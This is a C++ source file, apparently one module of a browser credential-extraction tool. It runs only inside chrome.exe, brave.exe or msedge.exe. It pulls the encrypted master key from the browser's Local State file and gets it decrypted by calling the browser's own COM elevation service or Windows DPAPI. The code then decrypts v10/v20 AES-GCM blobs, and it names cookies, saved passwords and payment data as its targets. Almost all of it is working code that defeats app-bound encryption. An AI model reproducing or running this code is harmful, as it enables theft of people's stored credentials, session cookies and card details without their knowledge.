397 lines
16 KiB
C++
397 lines
16 KiB
C++
// BrowserCrypto.cpp - Browser-specific cryptographic operations
|
|
// Implements selective COM/DPAPI strategy based on browser and data type
|
|
#include "BrowserCrypto.h"
|
|
#include "CommunicationModule.h"
|
|
#include <ShlObj.h>
|
|
#include <wrl/client.h>
|
|
#include <bcrypt.h>
|
|
#include <Wincrypt.h>
|
|
#include <fstream>
|
|
#include <sstream>
|
|
#include <stdexcept>
|
|
#include <algorithm>
|
|
|
|
#pragma comment(lib, "bcrypt.lib")
|
|
#pragma comment(lib, "Crypt32.lib")
|
|
#pragma comment(lib, "ole32.lib")
|
|
#pragma comment(lib, "shell32.lib")
|
|
|
|
#ifndef NT_SUCCESS
|
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
|
#endif
|
|
|
|
namespace SecurityComponents
|
|
{
|
|
namespace Browser
|
|
{
|
|
// Browser-specific configuration database
|
|
// Contains COM CLSIDs, IIDs, and file paths for each supported browser
|
|
const std::unordered_map<std::string, Config>& GetConfigs()
|
|
{
|
|
static const std::unordered_map<std::string, Config> browser_configs = {
|
|
{"chrome", {"Chrome", L"chrome.exe",
|
|
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
|
|
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
|
|
fs::path("Google") / "Chrome" / "User Data"}},
|
|
{"brave", {"Brave", L"brave.exe",
|
|
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
|
|
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
|
|
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
|
|
{"edge", {"Edge", L"msedge.exe",
|
|
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
|
|
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
|
|
fs::path("Microsoft") / "Edge" / "User Data"}}
|
|
};
|
|
return browser_configs;
|
|
}
|
|
|
|
// Determines browser configuration based on current process executable name
|
|
Config GetConfigForCurrentProcess()
|
|
{
|
|
char exePath[MAX_PATH] = {0};
|
|
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
|
std::string processName = fs::path(exePath).filename().string();
|
|
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
|
|
|
|
const auto& configs = GetConfigs();
|
|
if (processName == "chrome.exe") return configs.at("chrome");
|
|
if (processName == "brave.exe") return configs.at("brave");
|
|
if (processName == "msedge.exe") return configs.at("edge");
|
|
|
|
throw std::runtime_error("Unsupported host process: " + processName);
|
|
}
|
|
}
|
|
|
|
namespace Crypto
|
|
{
|
|
// Encryption scheme identifier prefixes
|
|
const uint8_t CHROME_KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
|
|
const uint8_t EDGE_KEY_PREFIX[] = {'D', 'P', 'A', 'P', 'I'};
|
|
const std::string V10_PREFIX = "v10";
|
|
const std::string V20_PREFIX = "v20";
|
|
|
|
// RAII wrapper for BCrypt algorithm handle
|
|
class BCryptAlgorithm
|
|
{
|
|
public:
|
|
BCryptAlgorithm() {
|
|
BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0);
|
|
}
|
|
~BCryptAlgorithm() {
|
|
if (handle) BCryptCloseAlgorithmProvider(handle, 0);
|
|
}
|
|
operator BCRYPT_ALG_HANDLE() const { return handle; }
|
|
bool IsValid() const { return handle != nullptr; }
|
|
|
|
private:
|
|
BCRYPT_ALG_HANDLE handle = nullptr;
|
|
};
|
|
|
|
// RAII wrapper for BCrypt key handle
|
|
class BCryptKey
|
|
{
|
|
public:
|
|
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
|
|
{
|
|
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
|
|
const_cast<PUCHAR>(key.data()),
|
|
static_cast<ULONG>(key.size()), 0);
|
|
}
|
|
~BCryptKey() {
|
|
if (handle) BCryptDestroyKey(handle);
|
|
}
|
|
operator BCRYPT_KEY_HANDLE() const { return handle; }
|
|
bool IsValid() const { return handle != nullptr; }
|
|
|
|
private:
|
|
BCRYPT_KEY_HANDLE handle = nullptr;
|
|
};
|
|
|
|
// Decrypts AES-GCM encrypted data using provided key
|
|
// Supports both v10 and v20 encryption schemes
|
|
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
|
|
{
|
|
std::string detectedPrefix;
|
|
size_t prefixLength = 0;
|
|
|
|
// Detect encryption scheme version
|
|
if (blob.size() >= 3)
|
|
{
|
|
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
|
|
{
|
|
detectedPrefix = V10_PREFIX;
|
|
prefixLength = V10_PREFIX.length();
|
|
}
|
|
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
|
|
{
|
|
detectedPrefix = V20_PREFIX;
|
|
prefixLength = V20_PREFIX.length();
|
|
}
|
|
else
|
|
{
|
|
return {};
|
|
}
|
|
}
|
|
else
|
|
{
|
|
return {};
|
|
}
|
|
|
|
// Validate blob size
|
|
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
|
|
if (blob.size() < GCM_OVERHEAD_LENGTH)
|
|
return {};
|
|
|
|
// Initialize AES-GCM decryption
|
|
BCryptAlgorithm algorithm;
|
|
if (!algorithm.IsValid())
|
|
return {};
|
|
|
|
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
|
|
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
|
|
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
|
|
|
|
BCryptKey cryptoKey(algorithm, key);
|
|
if (!cryptoKey.IsValid())
|
|
return {};
|
|
|
|
// Extract IV, ciphertext, and authentication tag
|
|
const uint8_t* iv = blob.data() + prefixLength;
|
|
const uint8_t* ct = iv + GCM_IV_LENGTH;
|
|
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
|
|
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
|
|
|
|
// Configure authenticated cipher mode
|
|
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
|
|
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
|
|
authInfo.pbNonce = const_cast<PUCHAR>(iv);
|
|
authInfo.cbNonce = GCM_IV_LENGTH;
|
|
authInfo.pbTag = const_cast<PUCHAR>(tag);
|
|
authInfo.cbTag = GCM_TAG_LENGTH;
|
|
|
|
// Perform decryption
|
|
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
|
|
ULONG outLen = 0;
|
|
|
|
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
|
|
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()),
|
|
&outLen, 0);
|
|
if (!NT_SUCCESS(status))
|
|
return {};
|
|
|
|
plain.resize(outLen);
|
|
return plain;
|
|
}
|
|
|
|
// Extracts encrypted master key from browser's Local State file
|
|
// Handles both APPB (COM) and DPAPI blob formats
|
|
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
|
|
{
|
|
std::ifstream f(localStatePath, std::ios::binary);
|
|
if (!f)
|
|
throw std::runtime_error("Could not open Local State file.");
|
|
|
|
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
|
|
|
// Search for encrypted key in JSON
|
|
std::string tag = "\"app_bound_encrypted_key\":\"";
|
|
size_t pos = content.find(tag);
|
|
|
|
if (pos == std::string::npos) {
|
|
tag = "\"encrypted_key\":\"";
|
|
pos = content.find(tag);
|
|
if (pos == std::string::npos)
|
|
throw std::runtime_error("Encrypted key not found in Local State.");
|
|
}
|
|
|
|
pos += tag.length();
|
|
size_t end_pos = content.find('"', pos);
|
|
if (end_pos == std::string::npos)
|
|
throw std::runtime_error("Malformed encrypted key format.");
|
|
|
|
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
|
|
if (!optDecoded)
|
|
throw std::runtime_error("Base64 decoding of encrypted key failed.");
|
|
|
|
auto& decodedData = *optDecoded;
|
|
|
|
// Check for APPB prefix (COM-encrypted key)
|
|
if (decodedData.size() >= sizeof(CHROME_KEY_PREFIX) &&
|
|
memcmp(decodedData.data(), CHROME_KEY_PREFIX, sizeof(CHROME_KEY_PREFIX)) == 0)
|
|
{
|
|
return {decodedData.begin() + sizeof(CHROME_KEY_PREFIX), decodedData.end()};
|
|
}
|
|
// Check for DPAPI blob header (0x01000000)
|
|
else if (decodedData.size() >= 4 &&
|
|
decodedData[0] == 0x01 && decodedData[1] == 0x00 &&
|
|
decodedData[2] == 0x00 && decodedData[3] == 0x00)
|
|
{
|
|
return decodedData;
|
|
}
|
|
else
|
|
{
|
|
throw std::runtime_error("Unknown key format - not APPB or DPAPI blob.");
|
|
}
|
|
}
|
|
}
|
|
|
|
BrowserManager::BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
|
|
|
|
fs::path BrowserManager::getUserDataRoot() const
|
|
{
|
|
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
|
|
}
|
|
|
|
MasterKeyDecryptor::MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) {}
|
|
|
|
MasterKeyDecryptor::~MasterKeyDecryptor()
|
|
{
|
|
if (m_comInitialized)
|
|
{
|
|
CoUninitialize();
|
|
}
|
|
}
|
|
|
|
// Decrypts master key using browser's COM elevation service
|
|
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithCOM(const Browser::Config& config,
|
|
const std::vector<uint8_t>& encryptedKeyBlob)
|
|
{
|
|
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
|
|
static_cast<UINT>(encryptedKeyBlob.size()));
|
|
if (!bstrEncKey)
|
|
throw std::runtime_error("Failed to allocate BSTR for encrypted key.");
|
|
|
|
BSTR bstrPlainKey = nullptr;
|
|
HRESULT hr = E_FAIL;
|
|
DWORD comErr = 0;
|
|
|
|
// Edge uses different COM interface than Chrome/Brave
|
|
if (config.name == "Edge")
|
|
{
|
|
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
|
|
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
|
if (SUCCEEDED(hr))
|
|
{
|
|
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
|
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
|
|
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
|
if (SUCCEEDED(hr))
|
|
{
|
|
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
|
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
|
}
|
|
}
|
|
|
|
SysFreeString(bstrEncKey);
|
|
|
|
// Validate decryption result
|
|
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
|
|
{
|
|
if (bstrPlainKey) SysFreeString(bstrPlainKey);
|
|
std::ostringstream oss;
|
|
oss << "COM elevation decryption failed for " << config.name << ". HRESULT: 0x"
|
|
<< std::hex << hr;
|
|
throw std::runtime_error(oss.str());
|
|
}
|
|
|
|
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
|
|
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
|
|
SysFreeString(bstrPlainKey);
|
|
|
|
return aesKey;
|
|
}
|
|
|
|
// Decrypts master key using Windows DPAPI
|
|
// Used for Edge passwords when orchestrator provides pre-decrypted key
|
|
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithDPAPI(const fs::path& localStatePath)
|
|
{
|
|
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
|
|
|
DATA_BLOB inputBlob = {
|
|
static_cast<DWORD>(encryptedKeyBlob.size()),
|
|
encryptedKeyBlob.data()
|
|
};
|
|
DATA_BLOB outputBlob = {};
|
|
|
|
BOOL result = CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
|
|
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob);
|
|
|
|
if (!result)
|
|
{
|
|
DWORD error = GetLastError();
|
|
std::ostringstream oss;
|
|
oss << "DPAPI decryption failed. Error: 0x" << std::hex << error;
|
|
m_logger.Log("[-] " + oss.str());
|
|
throw std::runtime_error(oss.str());
|
|
}
|
|
|
|
std::vector<uint8_t> aesKey(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
|
|
LocalFree(outputBlob.pbData);
|
|
|
|
if (aesKey.size() != Crypto::KEY_SIZE)
|
|
{
|
|
std::string errMsg = "Decrypted key size mismatch: " + std::to_string(aesKey.size()) +
|
|
", expected: " + std::to_string(Crypto::KEY_SIZE);
|
|
m_logger.Log("[-] " + errMsg);
|
|
throw std::runtime_error(errMsg);
|
|
}
|
|
|
|
return aesKey;
|
|
}
|
|
|
|
// Main decryption entry point - selects strategy based on browser and data type
|
|
std::vector<uint8_t> MasterKeyDecryptor::Decrypt(const Browser::Config& config,
|
|
const fs::path& localStatePath,
|
|
DataType dataType)
|
|
{
|
|
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
|
|
|
|
// Edge passwords use DPAPI without process requirement
|
|
if (config.name == "Edge" && dataType == DataType::Passwords)
|
|
{
|
|
m_logger.Log("[*] Using DPAPI decryption for Edge passwords (no process required)");
|
|
auto aesKey = DecryptWithDPAPI(localStatePath);
|
|
m_logger.Log("[+] Edge DPAPI decryption successful for passwords");
|
|
return aesKey;
|
|
}
|
|
else
|
|
{
|
|
// All other scenarios use COM elevation
|
|
std::string dataTypeStr = "data";
|
|
switch (dataType) {
|
|
case DataType::Cookies: dataTypeStr = "cookies"; break;
|
|
case DataType::Payments: dataTypeStr = "payments"; break;
|
|
case DataType::Passwords: dataTypeStr = "passwords"; break;
|
|
default: dataTypeStr = "data"; break;
|
|
}
|
|
|
|
m_logger.Log("[*] Using COM elevation for " + config.name + " " + dataTypeStr);
|
|
|
|
if (!m_comInitialized)
|
|
{
|
|
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
|
|
{
|
|
throw std::runtime_error("Failed to initialize COM library.");
|
|
}
|
|
m_comInitialized = true;
|
|
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
|
|
}
|
|
|
|
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
|
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
|
|
|
|
auto aesKey = DecryptWithCOM(config, encryptedKeyBlob);
|
|
m_logger.Log("[+] " + config.name + " COM elevation decryption successful for " + dataTypeStr);
|
|
return aesKey;
|
|
}
|
|
}
|
|
} |